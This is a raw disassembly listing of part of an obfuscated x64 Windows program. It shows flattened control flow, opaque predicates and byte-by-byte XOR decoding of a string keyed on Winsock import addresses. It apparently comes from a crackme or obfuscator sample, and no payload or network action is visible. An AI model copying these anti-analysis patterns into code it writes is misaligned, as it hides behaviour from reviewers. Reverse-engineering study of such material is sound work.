cmp r10d, 0xb2c5ea89
je 0x14001563c
cmp r10d, 0xde0afea4
jne 0x140014d20
mov eax, dword [0x1402b5cc0]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete al
mov r10d, 0xb2c5ea89
cmove r10d, edi
cmp dword [0x1402b5cc4], 0xa
cmovge r10d, ebx
setl dl
xor dl, al
cmovne r10d, edi
jmp 0x140014d20
cmp r10d, 0xf6d5f235
jne 0x140015d56
mov eax, dword [0x1402b5cc0]
mov edx, dword [0x1402b5cc4]
lea r10d, [rax + 1]
imul r10d, eax
not r10d
or r10d, 0xfffffffe
cmp r10d, 0xffffffff
sete al
cmp edx, 0xa
setl r11b
xor r11b, al
mov eax, 0xb2c5ea89
cmovne eax, r9d
cmp r10d, 0xffffffff
mov r10d, eax
cmove r10d, r9d
cmp edx, 0xa
cmovge r10d, eax
jmp 0x140014d20
mov rax, qword [rbp + 0x178]
mov rax, qword [rbp + 0x168]
mov r10, qword [rbp + 0x170]
mov qword [rbp + 0x180], rax
mov r11, qword [rbp + 0x180]
movzx eax, byte [r10]
mov byte [rbp + 0x1e8], al
mov eax, 0x7b08b0d7
nop
cmp eax, 0x8bdd2c68
je 0x140014f3d
cmp eax, 0x7b08b0d7
jne 0x140014f20
movsx rsi, byte [rbp + 0x1e8]
mov eax, 0x8bdd2c68
jmp 0x140014f20
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], select
mov rax, qword [rbp + 0x190]
mov rsi, qword [rbp + 0x1b0]
xor eax, esi
mov byte [r11], al
inc r11
mov qword [rbp + 0x1d0], r11
lea rax, [r10 + 1]
mov qword [rbp + 0x200], rax
mov r11d, 0xd27f32c8
nop dword [rax]
cmp r11d, 0xdb8e0748
jle 0x140014fb0
cmp r11d, 0xdb8e0749
je 0x140014ffd
cmp r11d, 0x1d64f769
je 0x1400155a5
cmp r11d, 0x7f643fbb
jne 0x140014f80
jmp 0x140014cdc
cmp r11d, 0xc170ba1e
je 0x1400155ee
cmp r11d, 0xd27f32c8
jne 0x140014f80
mov rax, qword [rbp + 0x200]
movzx eax, byte [rax]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
nop dword [rax + rax]
cmp eax, 0x8bdd2c68
je 0x140015012
cmp eax, 0x7b08b0d7
jne 0x140014fe0
movsx r11, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x140014fe0
mov rax, qword [rbp + 0x1e8]
mov byte [rax], 1
mov r11d, 0xc170ba1e
jmp 0x140014f80
mov qword [rbp + 0x190], r11
mov qword [rbp + 0x1b0], select
mov rax, qword [rbp + 0x190]
mov r11, qword [rbp + 0x1b0]
mov esi, eax
xor esi, eax
not esi
and esi, r11d
xor esi, eax
mov rax, qword [rbp + 0x1d0]
mov byte [rax], sil
mov r11, qword [rbp + 0x1d0]
movzx eax, byte [r10 + 2]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
nop
cmp eax, 0x8bdd2c68
je 0x14001507d
cmp eax, 0x7b08b0d7
jne 0x140015060
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x140015060
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], reloc.WS2_32.dll_listen
mov rax, qword [rbp + 0x190]
mov rsi, qword [rbp + 0x1b0]
mov r14d, eax
xor r14d, eax
not r14d
and r14d, esi
xor r14d, eax
mov byte [r11 + 1], r14b
movzx eax, byte [r10 + 3]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
cmp eax, 0x8bdd2c68
je 0x1400150dd
cmp eax, 0x7b08b0d7
jne 0x1400150c0
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x1400150c0
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], reloc.WS2_32.dll_ntohl
mov rax, qword [rbp + 0x190]
mov rsi, qword [rbp + 0x1b0]
mov r14d, eax
xor r14d, eax
not r14d
and r14d, esi
xor r14d, eax
mov byte [r11 + 2], r14b
movzx eax, byte [r10 + 4]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
cmp eax, 0x8bdd2c68
je 0x14001513d
cmp eax, 0x7b08b0d7
jne 0x140015120
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x140015120
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], reloc.WS2_32.dll_ntohs
mov rax, qword [rbp + 0x190]
mov rsi, qword [rbp + 0x1b0]
xor eax, esi
mov byte [r11 + 3], al
movzx eax, byte [r10 + 5]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
nop word cs:[rax + rax]
cmp eax, 0x8bdd2c68
je 0x14001519d
cmp eax, 0x7b08b0d7
jne 0x140015180
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x140015180
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], reloc.WS2_32.dll_recv
mov rax, qword [rbp + 0x190]
mov rsi, qword [rbp + 0x1b0]
mov r14d, eax
xor r14d, eax
not r14d
and r14d, esi
xor r14d, eax
mov byte [r11 + 4], r14b
movzx eax, byte [r10 + 6]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
cmp eax, 0x8bdd2c68
je 0x1400151fd
cmp eax, 0x7b08b0d7
jne 0x1400151e0
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x1400151e0
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], reloc.WS2_32.dll_recvfrom
mov rax, qword [rbp + 0x190]
mov rsi, qword [rbp + 0x1b0]
mov r14d, eax
xor r14d, eax
not r14d
and r14d, esi
xor r14d, eax
mov byte [r11 + 5], r14b
movzx eax, byte [r10 + 7]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
cmp eax, 0x8bdd2c68
je 0x14001525d
cmp eax, 0x7b08b0d7
jne 0x140015240
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x140015240
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], reloc.WS2_32.dll_select
mov rax, qword [rbp + 0x190]
mov rsi, qword [rbp + 0x1b0]
mov r14d, eax
xor r14d, eax
not r14d
and r14d, esi
xor r14d, eax
mov byte [r11 + 6], r14b
movzx eax, byte [r10 + 8]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
cmp eax, 0x8bdd2c68
je 0x1400152bd
cmp eax, 0x7b08b0d7
jne 0x1400152a0
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x1400152a0
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], reloc.WS2_32.dll_send
mov rax, qword [rbp + 0x190]
mov rsi, qword [rbp + 0x1b0]
mov r14d, eax
xor r14d, eax
not r14d
and r14d, esi
xor r14d, eax
mov byte [r11 + 7], r14b
movzx eax, byte [r10 + 9]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
cmp eax, 0x8bdd2c68
je 0x14001531d
cmp eax, 0x7b08b0d7
jne 0x140015300
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x140015300
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], reloc.WS2_32.dll_sendto
mov rax, qword [rbp + 0x190]
mov rsi, qword [rbp + 0x1b0]
xor eax, esi
mov byte [r11 + 8], al
movzx eax, byte [r10 + 0xa]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
nop word cs:[rax + rax]
cmp eax, 0x8bdd2c68
je 0x14001537d
cmp eax, 0x7b08b0d7
jne 0x140015360
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x140015360
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], reloc.WS2_32.dll_setsockopt
mov rax, qword [rbp + 0x190]
mov rsi, qword [rbp + 0x1b0]
xor eax, esi
mov byte [r11 + 9], al
movzx eax, byte [r10 + 0xb]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
nop word cs:[rax + rax]
cmp eax, 0x8bdd2c68
je 0x1400153dd
cmp eax, 0x7b08b0d7
jne 0x1400153c0
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x1400153c0
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], reloc.WLDAP32.dll_Ordinal_22
mov rax, qword [rbp + 0x190]
mov rsi, qword [rbp + 0x1b0]
mov r14d, eax
xor r14d, eax
not r14d
and r14d, esi
xor r14d, eax
mov byte [r11 + 0xa], r14b
movzx eax, byte [r10 + 0xc]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
cmp eax, 0x8bdd2c68
je 0x14001543d
cmp eax, 0x7b08b0d7
jne 0x140015420
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x140015420
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], reloc.WS2_32.dll_socket
mov rax, qword [rbp + 0x190]
mov rsi, qword [rbp + 0x1b0]
mov r14d, eax
xor r14d, eax
not r14d
and r14d, esi
xor r14d, eax
mov byte [r11 + 0xb], r14b
movzx eax, byte [r10 + 0xd]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
cmp eax, 0x8bdd2c68
je 0x14001549d
cmp eax, 0x7b08b0d7
jne 0x140015480
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x140015480
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], Ordinal_32
mov rax, qword [rbp + 0x190]
mov rsi, qword [rbp + 0x1b0]
mov r14d, eax
xor r14d, eax
not r14d
and r14d, esi
xor r14d, eax
mov byte [r11 + 0xc], r14b
movzx eax, byte [r10 + 0xe]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
cmp eax, 0x8bdd2c68
je 0x1400154fd
cmp eax, 0x7b08b0d7
jne 0x1400154e0
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x1400154e0
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], Ordinal_32
mov rax, qword [rbp + 0x190]
mov rsi, qword [rbp + 0x1b0]
xor eax, esi
mov byte [r11 + 0xd], al
movzx eax, byte [r10 + 0xf]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
nop word cs:[rax + rax]
cmp eax, 0x8bdd2c68
je 0x14001555d
cmp eax, 0x7b08b0d7
jne 0x140015540
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x140015540
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], reloc.WLDAP32.dll_Ordinal_26
mov rax, qword [rbp + 0x190]
mov rsi, qword [rbp + 0x1b0]
xor eax, esi
mov byte [r11 + 0xe], al
mov byte [r11 + 0xf], 0
mov rax, qword [rbp + 0x180]
add rax, 0x11
mov qword [rbp + 0x1e8], rax
mov r11d, 0x1d64f769
jmp 0x140014f80
mov eax, dword [0x1402b5cc8]
mov esi, dword [0x1402b5ccc]
lea r11d, [rax + 1]
imul r11d, eax
mov eax, r11d
xor eax, 0xfffffffe
test eax, r11d
sete r14b
cmp esi, 0xa
setl dl
xor dl, r14b
mov edx, 0xdb8e0749
cmovne edx, r13d
test eax, r11d
mov r11d, edx
cmove r11d, r13d
cmp esi, 0xa
cmovge r11d, edx
jmp 0x140014f80
mov rax, qword [rbp + 0x1e8]
mov byte [rax], 1
mov eax, dword [0x1402b5cc8]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete al
mov r11d, 0xdb8e0749
cmove r11d, r15d
cmp dword [0x1402b5ccc], 0xa
cmovge r11d, r12d
setl dl
xor dl, al
cmovne r11d, r15d
jmp 0x140014f80
mov r10d, 0xf6d5f235
jmp 0x140014d20
mov r10d, 0xde0afea4
jmp 0x140014d20
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], select
mov rax, qword [rbp + 0x190]
mov rdx, qword [rbp + 0x1b0]
mov esi, eax
xor esi, eax
not esi
and esi, edx
xor esi, eax
mov byte [r11], sil
inc r11
mov qword [rbp + 0x1d0], r11
lea rax, [r10 + 1]
mov qword [rbp + 0x200], rax
mov r11d, 0xd27f32c8
nop
cmp r11d, 0xdb8e0748
jle 0x1400156c0
cmp r11d, 0xdb8e0749
je 0x14001570d
cmp r11d, 0x1d64f769
je 0x140015cb5
cmp r11d, 0x7f643fbb
jne 0x140015690
jmp 0x140015d44
cmp r11d, 0xc170ba1e
je 0x140015d01
cmp r11d, 0xd27f32c8
jne 0x140015690
mov rax, qword [rbp + 0x200]
movzx eax, byte [rax]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
nop dword [rax + rax]
cmp eax, 0x8bdd2c68
je 0x140015722
cmp eax, 0x7b08b0d7
jne 0x1400156f0
movsx r11, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x1400156f0
mov rax, qword [rbp + 0x1e8]
mov byte [rax], 1
mov r11d, 0xc170ba1e
jmp 0x140015690
mov qword [rbp + 0x190], r11
mov qword [rbp + 0x1b0], select
mov rax, qword [rbp + 0x190]
mov rdx, qword [rbp + 0x1b0]
xor eax, edx
mov rdx, qword [rbp + 0x1d0]
mov byte [rdx], al
mov r11, qword [rbp + 0x1d0]
movzx eax, byte [r10 + 2]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
nop word cs:[rax + rax]
cmp eax, 0x8bdd2c68
je 0x14001578d
cmp eax, 0x7b08b0d7
jne 0x140015770
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x140015770
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], reloc.WS2_32.dll_listen
mov rax, qword [rbp + 0x190]
mov rdx, qword [rbp + 0x1b0]
mov esi, eax
xor esi, eax
not esi
and esi, edx
xor esi, eax
mov byte [r11 + 1], sil
movzx eax, byte [r10 + 3]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
nop dword [rax + rax]
cmp eax, 0x8bdd2c68
je 0x1400157ed
cmp eax, 0x7b08b0d7
jne 0x1400157d0
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x1400157d0
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], reloc.WS2_32.dll_ntohl
mov rax, qword [rbp + 0x190]
mov rdx, qword [rbp + 0x1b0]
mov esi, eax
xor esi, eax
not esi
and esi, edx
xor esi, eax
mov byte [r11 + 2], sil
movzx eax, byte [r10 + 4]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
nop dword [rax + rax]
cmp eax, 0x8bdd2c68
je 0x14001584d
cmp eax, 0x7b08b0d7
jne 0x140015830
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x140015830
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], reloc.WS2_32.dll_ntohs
mov rax, qword [rbp + 0x190]
mov rdx, qword [rbp + 0x1b0]
xor eax, edx
mov byte [r11 + 3], al
movzx eax, byte [r10 + 5]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
nop word cs:[rax + rax]
cmp eax, 0x8bdd2c68
je 0x1400158ad
cmp eax, 0x7b08b0d7
jne 0x140015890
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x140015890
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], reloc.WS2_32.dll_recv
mov rax, qword [rbp + 0x190]
mov rdx, qword [rbp + 0x1b0]
xor eax, edx
mov byte [r11 + 4], al
movzx eax, byte [r10 + 6]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
nop word cs:[rax + rax]
cmp eax, 0x8bdd2c68
je 0x14001590d
cmp eax, 0x7b08b0d7
jne 0x1400158f0
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x1400158f0
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], reloc.WS2_32.dll_recvfrom
mov rax, qword [rbp + 0x190]
mov rdx, qword [rbp + 0x1b0]
xor eax, edx
mov byte [r11 + 5], al
movzx eax, byte [r10 + 7]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
nop word cs:[rax + rax]
cmp eax, 0x8bdd2c68
je 0x14001596d
cmp eax, 0x7b08b0d7
jne 0x140015950
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x140015950
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], reloc.WS2_32.dll_select
mov rax, qword [rbp + 0x190]
mov rdx, qword [rbp + 0x1b0]
mov esi, eax
xor esi, eax
not esi
and esi, edx
xor esi, eax
mov byte [r11 + 6], sil
movzx eax, byte [r10 + 8]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
nop dword [rax + rax]
cmp eax, 0x8bdd2c68
je 0x1400159cd
cmp eax, 0x7b08b0d7
jne 0x1400159b0
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x1400159b0
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], reloc.WS2_32.dll_send
mov rax, qword [rbp + 0x190]
mov rdx, qword [rbp + 0x1b0]
mov esi, eax
xor esi, eax
not esi
and esi, edx
xor esi, eax
mov byte [r11 + 7], sil
movzx eax, byte [r10 + 9]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
nop dword [rax + rax]
cmp eax, 0x8bdd2c68
je 0x140015a2d
cmp eax, 0x7b08b0d7
jne 0x140015a10
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x140015a10
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], reloc.WS2_32.dll_sendto
mov rax, qword [rbp + 0x190]
mov rdx, qword [rbp + 0x1b0]
mov esi, eax
xor esi, eax
not esi
and esi, edx
xor esi, eax
mov byte [r11 + 8], sil
movzx eax, byte [r10 + 0xa]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
nop dword [rax + rax]
cmp eax, 0x8bdd2c68
je 0x140015a8d
cmp eax, 0x7b08b0d7
jne 0x140015a70
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x140015a70
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], reloc.WS2_32.dll_setsockopt
mov rax, qword [rbp + 0x190]
mov rdx, qword [rbp + 0x1b0]
mov esi, eax
xor esi, eax
not esi
and esi, edx
xor esi, eax
mov byte [r11 + 9], sil
movzx eax, byte [r10 + 0xb]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
nop dword [rax + rax]
cmp eax, 0x8bdd2c68
je 0x140015aed
cmp eax, 0x7b08b0d7
jne 0x140015ad0
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x140015ad0
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], reloc.WLDAP32.dll_Ordinal_22
mov rax, qword [rbp + 0x190]
mov rdx, qword [rbp + 0x1b0]
mov esi, eax
xor esi, eax
not esi
and esi, edx
xor esi, eax
mov byte [r11 + 0xa], sil
movzx eax, byte [r10 + 0xc]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
nop dword [rax + rax]
cmp eax, 0x8bdd2c68
je 0x140015b4d
cmp eax, 0x7b08b0d7
jne 0x140015b30
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x140015b30
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], reloc.WS2_32.dll_socket
mov rax, qword [rbp + 0x190]
mov rdx, qword [rbp + 0x1b0]
mov esi, eax
xor esi, eax
not esi
and esi, edx
xor esi, eax
mov byte [r11 + 0xb], sil
movzx eax, byte [r10 + 0xd]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
nop dword [rax + rax]
cmp eax, 0x8bdd2c68
je 0x140015bad
cmp eax, 0x7b08b0d7
jne 0x140015b90
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x140015b90
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], Ordinal_32
mov rax, qword [rbp + 0x190]
mov rdx, qword [rbp + 0x1b0]
mov esi, eax
xor esi, eax
not esi
and esi, edx
xor esi, eax
mov byte [r11 + 0xc], sil
movzx eax, byte [r10 + 0xe]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
nop dword [rax + rax]
cmp eax, 0x8bdd2c68
je 0x140015c0d
cmp eax, 0x7b08b0d7
jne 0x140015bf0
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x140015bf0
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], Ordinal_32
mov rax, qword [rbp + 0x190]
mov rdx, qword [rbp + 0x1b0]
xor eax, edx
mov byte [r11 + 0xd], al
movzx eax, byte [r10 + 0xf]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
nop word cs:[rax + rax]
cmp eax, 0x8bdd2c68
je 0x140015c6d
cmp eax, 0x7b08b0d7
jne 0x140015c50
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x140015c50
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], reloc.WLDAP32.dll_Ordinal_26
mov rax, qword [rbp + 0x190]
mov rdx, qword [rbp + 0x1b0]
xor eax, edx
mov byte [r11 + 0xe], al
mov byte [r11 + 0xf], 0
mov rax, qword [rbp + 0x180]
add rax, 0x11
mov qword [rbp + 0x1e8], rax
mov r11d, 0x1d64f769
jmp 0x140015690
mov eax, dword [0x1402b5cc8]
mov edx, dword [0x1402b5ccc]
lea r11d, [rax + 1]
imul r11d, eax
not r11d
or r11d, 0xfffffffe
cmp r11d, 0xffffffff
sete al
cmp edx, 0xa
setl sil
xor sil, al
mov eax, 0xdb8e0749
cmovne eax, r13d
cmp r11d, 0xffffffff
mov r11d, eax
cmove r11d, r13d
cmp edx, 0xa
cmovge r11d, eax
jmp 0x140015690
mov rax, qword [rbp + 0x1e8]
mov byte [rax], 1
mov eax, dword [0x1402b5cc8]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete al
mov r11d, 0xdb8e0749
cmove r11d, r15d
cmp dword [0x1402b5ccc], 0xa
cmovge r11d, r12d
setl dl
xor dl, al
cmovne r11d, r15d
jmp 0x140015690
mov rax, qword [rbp + 0x180]
mov r10d, 0x751102ed
jmp 0x140014d20
cmp r10d, 0xe7653d71
jne 0x140014d20
mov rax, qword [rbp + 0x168]
mov r10d, 0xe0da6e96
jmp 0x140013ac5
cmp r10d, 0x961982e0
jne 0x140015e11
mov eax, dword [0x1402b5cb8]
lea r10d, [rax + 1]
imul r10d, eax
mov eax, r10d
xor eax, 0xfffffffe
test eax, r10d
sete al
mov r10d, 0x254318df
mov edx, 0xcccf1ed3
cmove r10d, edx
cmp dword [0x1402b5cbc], 0xa
mov r11d, 0x254318df
jmp 0x140013ab6
mov eax, dword [0x1402b5cb8]
lea r10d, [rax + 1]
imul r10d, eax
mov eax, r10d
xor eax, 0xfffffffe
test eax, r10d
sete al
mov r10d, 0x254318df
mov esi, 0x90926470
cmove r10d, esi
cmp dword [0x1402b5cbc], 0xa
mov edx, 0x254318df
cmovge r10d, edx
setl r11b
xor r11b, al
cmovne r10d, esi
jmp 0x140013ac5
mov r10d, 0xcccf1ed3
jmp 0x140013ac5
cmp r10d, 0x90926470
jne 0x140013ac5
mov eax, dword [0x1402b5ca8]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete dl
setne al
cmp dword [0x1402b5cac], 0xa
setl r8b
setge cl
cmp r8b, dl
jne 0x140015e52
or cl, al
je 0x140015e52
nop
jmp 0x140015e50
mov eax, dword [0x1402b5cd0]
lea ecx, [rax + 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x1402b5cd4], 0xa
setge dl
setl r8b
xor r8b, al
or dl, cl
not dl
or dl, r8b
test dl, 1
mov eax, 0x20cb533c
mov edx, 0xe93ea71f
cmove eax, edx
mov ecx, 0x6f92d5e6
cmove ecx, edx
mov edx, 0xa39deb38
mov r13, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov r8, qword [rbp + 0x120]
nop word [rax + rax]
cmp edx, 0xf7f318fd
jle 0x140015ee0
cmp edx, 0xf7f318fe
je 0x140015f02
cmp edx, 0x20cb533c
je 0x140015ef7
cmp edx, 0x6f92d5e6
jne 0x140015eb0
mov edx, eax
jmp 0x140015eb0
cmp edx, 0xa39deb38
je 0x140015efe
cmp edx, 0xe93ea71f
jne 0x140015eb0
mov edx, 0x6f92d5e6
jmp 0x140015eb0
mov edx, 0xf7f318fe
jmp 0x140015eb0
mov edx, ecx
jmp 0x140015eb0
mov qword [rbp + 0x1e8], r8
lea rax, [rbp + 0x138]
mov qword [rbp + 0x190], rax
mov rsi, qword [rbp + 0x190]
mov edi, 0xed25fe74
nop word cs:[rax + rax]
cmp edi, 0x84cad3cf
je 0x140015f62
cmp edi, 0xed25fe74
jne 0x140015f30
mov qword [rbp + 0x1b0], rsi
mov edi, 0x84cad3cf
mov rcx, qword [rbp + 0x1b0]
sub rsp, 0x20
call fcn.1400d6560
add rsp, 0x20
jmp 0x140015f30
mov rdx, qword [rbp + 0x1b0]
mov rcx, qword [rbp + 0x1e8]
sub rsp, 0x20
call fcn.140002110
add rsp, 0x20
mov eax, dword [0x1402b5ca8]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete al
cmp dword [0x1402b5cac], 0xa
setl cl
test cl, al
jne 0x140016002
xor cl, al
jne 0x140016002
nop word cs:[rax + rax]
jmp 0x140015fb0
sub rsp, 0x20
lea rcx, [0x1402b5810]
lea rdx, [rbp - 0x78]
call fcn.14022afb0
add rsp, 0x20
mov ecx, dword [0x1402b5ca8]
lea eax, [rcx + 1]
imul eax, ecx
test al, 1
sete dl
cmp dword [0x1402b5cac], 0xa
setge cl
setl r8b
xor r8b, dl
jne 0x1400161f2
or cl, al
test cl, 1
je 0x1400161f2
nop dword [rax]
jmp 0x140016000
mov eax, 0x8e514f33
mov esi, 0x559d78c6
mov edi, 0xb5ee369a
mov ebx, 0xa1dae94d
jmp 0x140016020
mov eax, 0xe9738f9d
nop dword [rax]
cmp eax, 0xe9738f9d
je 0x140016192
cmp eax, 0x8e514f33
jne 0x140016020
sub rsp, 0x20
mov rcx, rbp
call fcn.1400e2980
add rsp, 0x20
mov eax, dword [0x1402b5af0]
mov ecx, dword [0x1402b5af4]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete byte [rbp + 0x190]
cmp ecx, 0xa
setl byte [rbp + 0x1b0]
mov eax, 0xc7dc8da9
nop word cs:[rax + rax]
cmp eax, 0x354e3b8b
jg 0x1400160d0
cmp eax, 0xa1dae94d
je 0x140016117
cmp eax, 0xb5ee369a
je 0x140016138
cmp eax, 0xc7dc8da9
jne 0x140016080
movzx ecx, byte [rbp + 0x190]
movzx eax, byte [rbp + 0x1b0]
mov edx, eax
xor dl, cl
test al, al
mov eax, 0xb5ee369a
cmovne eax, esi
test cl, cl
cmove eax, edi
test dl, dl
cmovne eax, esi
jmp 0x140016080
cmp eax, 0x354e3b8c
je 0x140016018
cmp eax, 0x559d78c6
je 0x140016142
cmp eax, 0x66202512
jne 0x140016080
mov eax, 0x51eaacfe
mov rcx, qword [rbp + 0x138]
nop word cs:[rax + rax]
cmp eax, 0x51eaacfe
je 0x140016110
cmp eax, 0x89bfb55a
jne 0x140016100
jmp 0x140016121
mov eax, 0x89bfb55a
jmp 0x140016100
mov eax, 0x66202512
jmp 0x140016080
sub rsp, 0x20
call fcn.1400c0b30
add rsp, 0x20
mov eax, 0x354e3b8c
jmp 0x140016080
mov eax, 0x559d78c6
jmp 0x140016080
mov eax, dword [0x1402b5af0]
mov ecx, dword [0x1402b5af4]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete al
cmp ecx, 0xa
setl r8b
xor r8b, al
mov r8d, 0xb5ee369a
cmovne r8d, ebx
cmp edx, 0xffffffff
mov eax, r8d
cmove eax, ebx
cmp ecx, 0xa
mov rcx, rbp
mov qword [rbp + 0x138], rcx
cmovge eax, r8d
jmp 0x140016080
sub rsp, 0x20
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea rdx, [rbp - 0x30]
call fcn.1400293b0
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0x58]
lea rdx, [rbp - 0x30]
call fcn.140009f50
add rsp, 0x20
mov eax, dword [0x1402b5ca8]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete dl
setne al
cmp dword [0x1402b5cac], 0xa
setl r8b
setge cl
cmp r8b, dl
jne 0x140016269
or cl, al
je 0x140016269
nop
jmp 0x1400161f0
movzx r12d, byte [0x1402b5a28]
test r12b, r12b
je 0x1400162f4
sub rsp, 0x20
lea r14, [0x1402b59f0]
lea rdi, [rbp - 0x10]
mov rcx, r14
mov rdx, rdi
call fcn.140027d60
